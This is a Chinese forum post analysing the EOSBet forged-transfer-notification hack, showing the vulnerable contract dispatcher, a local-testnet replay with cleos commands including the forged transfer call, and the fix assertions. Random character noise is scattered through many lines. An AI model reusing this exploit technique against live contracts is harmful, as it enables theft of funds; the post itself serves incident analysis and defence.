Hi 游客

更多精彩,请登录!

比特池塘 区块链技术 正文
本文所有过程均在本地测试节点完成
- B6 |3 o% m. N' R/ G2 Q文章用到的所有代码均在 https://github.com/NoneAge/EOS_dApp_Security_Incident_Analysis8 o6 y) G' Q5 B
0x00 背景
) t; h& K. k  q% G  j: `4 zEOSBet在9月14日遭到黑客攻击,根据EOSBet官方通告,此次攻击共被盗44,427.4302 EOS(折合人民币160万,9月14日价格)。# u1 l' ^2 h9 ?% r, C7 r/ y2 I+ [
- Q' p; m# {" e) T; G0 x8 R7 F
0x01 技术分析
' S9 U9 u2 z1 k- B3 l8 `( e# J由于EOSBet代码并未开源,但官方复盘攻击事件后给出了EOSIO_ABI
5 B7 o0 ^0 V% T4 g3 W// extend from EOSIO_ABI, because we need to listen to incoming eosio.token transfers$ Z+ i$ H( N  u4 d4 Q8 t2 K
#define EOSIO_ABI_EX( TYPE, MEMBERS ) \: y4 G- o& ~- ?0 h5 B
extern "C" { \
" b- B( y$ j! x        void apply( uint64_t receiver, uint64_t code, uint64_t action ) { \! ^: a$ q6 u  d* D6 W; j: a3 Z$ A
                auto self = receiver; \2 Y1 f! S) G8 _( `) s" C& J. L
                if( action == N(onerror)) { \
  g- @  T. C6 ]+ C4 h                        /* onerror is only valid if it is for the "eosio" code account and authorized by "eosio"'s "active permission */ \' X1 m! ~  D7 L/ O: i
                        eosio_assert(code == N(eosio), "onerror action's are only valid from the \"eosio\" system account"); \
! c! A8 \! m5 \) A: Q( D                } \8 X9 V+ p# _# u7 r$ t5 t- S1 n7 _
                if( code == self || code == N(eosio.token) || action == N(onerror) ) { \; I9 a" g+ T4 y5 Y3 |; f
                        TYPE thiscontract( self ); \
, S6 A( t: @3 i                        switch( action ) { \! w8 |6 w; k; q( m6 A( u. N: ]
                                EOSIO_API( TYPE, MEMBERS ) \' p( s% P. w. k) J; J! y
                        } \
# l1 p* P: n; _! l% K                /* does not allow destructor of thiscontract to run: eosio_exit(0); */ \
; E% y" y5 Y. f; u3 K8 {- @) h                } \' v6 o3 Q) Z2 ^
        } \
$ y! a6 I8 ?  N9 w}
: K$ C/ i9 Z* [* i) R0 U通过官方给出的EOSIO_ABI,问题主要出在以下代码& w% I* i5 Q' j; H: o
if( code == self || code == N(eosio.token) || action == N(onerror) ) { \
4 J9 `: {9 C/ C9 A0 h& _& R& H                        TYPE thiscontract( self ); \; K6 r5 Z) E, U; x
                        switch( action ) { \, T8 @/ S1 m0 k3 d
                                EOSIO_API( TYPE, MEMBERS ) \7 E2 y) p% F3 U* v) p
                        } \
( H9 n- m* y8 X                }4 J. c, f+ }1 `- B' D# N2 {
该合约对action进行转发的时候仅仅验证了code == self(调用者必须是该合约本身,即eosbetdice11)和code == N(eosio.token)(调用者必须是eosio.token)。从这里看似乎是验证了只有合约本身和eosio.token可以调用合约函数。. F2 S; ^+ h0 ~$ m+ k+ u
但是,开发者忽略了这一点。如果A合约直接向B合约发起一个transaction调用B合约的函数,那么本质上是B合约自身完成函数调用,也就是说任何合约都可以调用eosbetdice11合约中abi暴露的函数。3 |, a: V* \8 V& a
黑客可以直接调用eosbetdice11合约中的transfer函数,即不用消耗任何EOS来玩EOSBet,输了不赔赢了稳赚。
0 U# n4 g; ?6 |. g% t% j2 n  M" h0x02 攻击复盘) j& r. t) g) c
创建eosio.token账户! J& e6 t0 k' o. V
cleos create account eosio eosio.token EOS6MRyAjQq8ud7hVNYcfnVPJqcVpscN5So8BhtHuGYqET5GDW5CV. w$ f* f& `! P9 D
部署eosio.token合约并初始化8 P1 J/ `& U" d; R, p
# 部署合约
7 W" Y, H3 ~- s- G1 |9 f  G( vcleos set contract eosio.token /home/user/contracts/eosio.token -p eosio- J: b2 H8 l' c0 Q0 b$ l
# 初始化合约
; y/ J5 ]- O5 M0 gcleos push action eosio.token create '[ "eosio", "1000000000.0000 EOS", 0, 0, 0]' -p eosio.token
' f  v7 p. T& s" O创建游戏账户、开奖账户和攻击者账户6 `) Q1 E4 Y  h+ X6 U' ?
#创建游戏账户和开奖账户
5 m; c" _5 b) ]% ucleos create account eosio eosbetdice11 EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk
/ @' P' f; _2 Q+ Gcleos create account eosio eosbetcasino EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk
% y: C6 M5 J0 q$ G1 c#创建攻击者账户
% y" w- X& S% n9 D' L& R, hcleos create account eosio attacker EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk
$ S3 W. c2 A- Z5 g% S设置账户随机权限和开奖权限+ B% I; h4 N% m' q
#设置权限
  i# f. Q- |; T- K7 lcleos set account permission eosbetdice11 active '{"threshold": 1,"keys": [{"key": "EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk","weight": 1}],"accounts":[{"permission":{"actor":"eosbetdice11","permission":"eosio.code"},"weight":1}]}' owner -p eosbetdice11@owner1 v. N) q. t& L6 a: g
cleos set account permission eosbetcasino random '{"threshold": 1,"keys": [{"key": "EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk","weight": 1}],"accounts":[]}' owner -p eosbetcasino@owner
  a9 a3 C& b7 \: Z' f$ h#设置开奖权限
8 p9 b( f+ a* d/ r# a  Q* t, fcleos set action permission eosbetcasino eosbetdice11 resolvebet random
3 q* G4 ?* z; P  H向相关账户冲入代币7 |$ M* a' x6 j
#往相关账户充值
4 o' p, p/ e& [. e1 J1 w8 {cleos push action eosio.token issue '["attacker", "100000.0000 EOS", "memo"]' -p eosio@active; A0 Y( f: q* U
cleos push action eosio.token issue '["eosbetdice11", "100000.0000 EOS", "memo"]' -p eosio@active
$ }- \8 w. @6 h5 ^, U+ T: k![4.png]()" i6 M4 g# ^! M) g' ]3 r: m- i
部署游戏合约并初始化
! r+ |, `1 S0 w) ]. Q# I, M& |. N#部署游戏合约, ?3 D+ ]' m( @' u9 I: j( X
cleos set contract eosbetdice11 /home/user/contracts/eosbetdice# a; @4 \. G' A; C
#初始化游戏合约
* R3 x& E: q; Q5 D* |2 Q  `+ icleos push action eosbetdice11 initcontract '{"randomness_key":"EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk"}' -p eosbetcasino, A% a( v0 ~. y" Z
模拟黑客攻击(伪造转账通知)
6 M2 ^. g2 v) o- X1 [cleos push action eosbetdice11 transfer '["attacker", "eosbetdice11", "10.0000 EOS", "66-attacker-"]' -p attacker
* D; z4 D; P, M1 b& ~/ C查询游戏订单) B  D0 ~" Q2 {# @0 x* p0 K
cleos get table eosbetdice11 eosbetdice11 activebets
5 ^. Z9 r4 H* }: T4 `$ Q1 ^$ d/ B3 Z) L1 f( T9 A1 p0 R
可见,游戏订单已经生成,查询attacker和eosbetdice11账户5 j$ k  e3 Q: r" p2 F
# l$ Z! e! _; e- a) i  S/ a
按照游戏规则,只有在支付了EOS后才能生成游戏,但是被黑客攻击后生成订单并没有消耗任何的EOS。
, Z+ e8 q  {6 R最后对该订单进行开奖。
; N) Y2 w4 e/ y* a, O5 Ucleos push action eosbetdice11 resolvebet '{"bet_id":"237902368081510060", "sig":"SIG_K1_K862MEbB45rMi9bvYRPbqA9F6tbrte9osUbZk3fUXXvsnf3zQRNdyYrunc4zhyQWUho2a4meho1k8kNvnrLLYdW1ge8kD1"}' -j -p eosbetcasino@random& ^/ k: F4 @9 A; p; g( L( `4 D

5 q. N% f/ w- |4 v7 j2 x5 V1 t& v总结,黑客伪造转账通知来玩游戏不消耗任何EOS,游戏成功即可获利,即使最后游戏失败也不会有任何损失。! O8 o8 w+ r& j' \( i" @+ `
0x03 后记; Y( J- p  u; S0 s' {; [
EOSBet随后将修复方案公开
2 q) }4 P1 l, Z$ t/ m// extend from EOSIO_ABI, because we need to listen to incoming eosio.token transfers
! y+ L+ |' v5 y8 O- D1 Y#define EOSIO_ABI_EX( TYPE, MEMBERS ) \8 n. ]3 k. t8 T( p
extern "C" { \, x. h9 |7 |* h& Q% @
        void apply( uint64_t receiver, uint64_t code, uint64_t action ) { \
- C0 C+ h3 E$ \' {% L) Y                auto self = receiver; \& [2 h' |% h$ N' g; x4 ~! {
                if( code == self || code == N(eosio.token)) { \
4 o9 A- V, L& J( K                        if( action == N(transfer)){ \$ {4 X) G) l2 Z! l% \
                                // 必须是eosio.token来调用合约自身的transfer函数
+ T" J% g1 n. _5 A( y0 w                                eosio_assert( code == N(eosio.token), "Must transfer EOS"); \
1 t& J2 O% D/ V! @7 J                        } \" ~1 k: |6 a1 |" w0 q
                        TYPE thiscontract( self ); \
! z  D8 l3 U5 N, w# g- `+ D" a8 z                        switch( action ) { \
: m! n- {7 ]7 M: [. I* [/ H                                EOSIO_API( TYPE, MEMBERS ) \  ~3 X% L6 ^7 m, a9 K+ N5 i* u
                        } \0 F* X+ Q4 s; {
                /* does not allow destructor of thiscontract to run: eosio_exit(0); */ \
! ]5 u. m, G1 B, j& h1 c" t, ^4 H                } \' F5 D$ L' g- y! w# s2 D  y
        } \
' r  I9 S6 R" \" t* ]7 U* R}/ ?* X# E3 A. j! Z3 [0 w9 \
可以看到,EOSBet官方给出的修复方案是仅有eosio.token合约可以调用transfer函数。官方修复后将代码开源到Gitlab,地址为https://gitlab.com/EOSBetCasino/eosbetdice_public,但是在整整一个月后又遭到了转账通知伪造攻击。欲知详情,请听下回分解:D( a8 Z/ u1 ~0 b9 V& y
0x04 修复方案
: l7 b+ y/ K. m! p" u. \& h6 a零时科技安全专家建议,要防止转账通知伪造必须在处理转账交易时要验证以下内容:
8 p2 n6 j/ h: n0 ?+ S7 Z$ u2 J+ Y+ N7 g! i/ z, |# M
通知是否来自eosio.token,即只处理eosio.token发送的通知
' Q8 M* u, j# B# a- [eosio_assert(code == N(eosio.token), "Must transfer from eosio.token");# B0 E& s# A. @$ M  D/ i7 H

. `( m; w3 k# F0 h* F% C转账发起人或者接受人是否是自己,即转账必须跟合约本身有关,不处理其他合约的转账通知
) B$ a- ~! P4 e7 [1 q: Seosio_assert(transfer.from == _self || transfer.to == _self, "Must transfer from self or transfer to self");
BitMere.com 比特池塘系信息发布平台,比特池塘仅提供信息存储空间服务。
声明:该文观点仅代表作者本人,本文不代表比特池塘立场,且不构成建议,请谨慎对待。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

成为第一个吐槽的人

蓝天天使2017 初中生
  • 粉丝

    0

  • 关注

    0

  • 主题

    10